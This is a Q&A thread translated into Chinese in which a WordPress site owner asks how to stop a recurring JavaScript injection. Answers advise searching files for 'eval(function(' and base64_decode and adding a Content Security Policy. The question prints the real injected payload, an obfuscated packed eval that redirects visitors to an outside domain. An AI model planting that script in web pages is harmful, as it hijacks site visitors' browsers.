Wordpress 上的 Javascript 注入预防
Posted
技术标签:
【中文标题】Wordpress 上的 Javascript 注入预防【英文标题】:Javascript Injection prevention on Wordpress 【发布时间】:2016-11-04 19:46:48 【问题描述】:我在 wordpress 上的博客注入了以下 恶意 脚本:
eval(function(p,a,c,k,e,d)e=function(c)return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));if(!''.replace(/^/,String))while(c--)d[e(c)]=k[c]||e(c);k=[function(e)return d[e]];e=function()return'\\w+';c=1;;while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;('3.5.4="6://%1%0%0%9%2%8%7%1%2/";',10,10,'78|6F|6D|window|href|location|http|63|2E|74'.split('|'),0,))
它导航到:
http://oxxtm.com/
重定向到:
http://www.html5website.com/
我已经禁用了一些插件,但问题似乎出在其他地方,因为我正在使用以下插件,它们似乎有很好的声誉:
Akismet 登录验证码 免费且简单的联系表单插件 - PirateForms(我的 Zerif Lite 主题推荐它) SMTP 邮件程序 WooCommerce如果我找不到根本原因,您是否建议处理“重定向”事件以保持网站运行?如果是这样,如果有指向http://oxxtm.com/
的重定向并使用javascript 中止它,我该如何处理?
我尝试使用 onunload
和 onbeforeunload
事件,但似乎注入的 eval
甚至在事件操作注册之前运行。
我可以看到它被注入到 wordpress 中的不同 php 页面(有时只有一个有时更多),我不知道是否有一个常见的 PHP 文件,我可以在其中包含一个脚本来防止这种恶意行为脚本。
我已经多次删除了恶意脚本,但它被一次又一次地注入。我需要在寻找原因的同时治疗症状,否则该站点将停止服务。但是,我不明白脚本最初是如何注入的。
【问题讨论】:
而不是治疗症状,例如重定向,找到受感染的文件并删除恶意代码。 @PatrickEvans 我已经多次删除它,但它又被注入了。我需要在寻找原因的同时治疗症状。 【参考方案1】:在您的所有文件中搜索以下内容:eval(function()
它将显示包含此代码的每个文件。
否则,请尝试搜索:base64_decode
这是一个允许对 base64 编码文本进行解码的函数,恶意 PHP 文件经常使用该函数来注入一些您无法通过搜索 eval(
检测到的代码
如果问题仍然存在,请在此处回答,我会尽力帮助您。
【讨论】:
【参考方案2】:此外,作为保护您的客户端免受 XSS 攻击的附加功能,我建议您在清除后端注入后使用 CSP。您可以阅读更多相关信息:https://developer.mozilla.org/en/docs/Web/Security/CSP 这不是灵丹妙药,但很高兴拥有它来保护用户。
【讨论】:
以上是关于Wordpress 上的 Javascript 注入预防的主要内容,如果未能解决你的问题,请参考以下文章
阻止 javascript 禁用的用户访问 wordpress 网站
使用 javascript 为每个 wordpress 帖子应用交错和随机的左/右放置
当托管在 openshift 上时,WordPress(Redux 框架主题)中样式表和 Javascript 的路径无效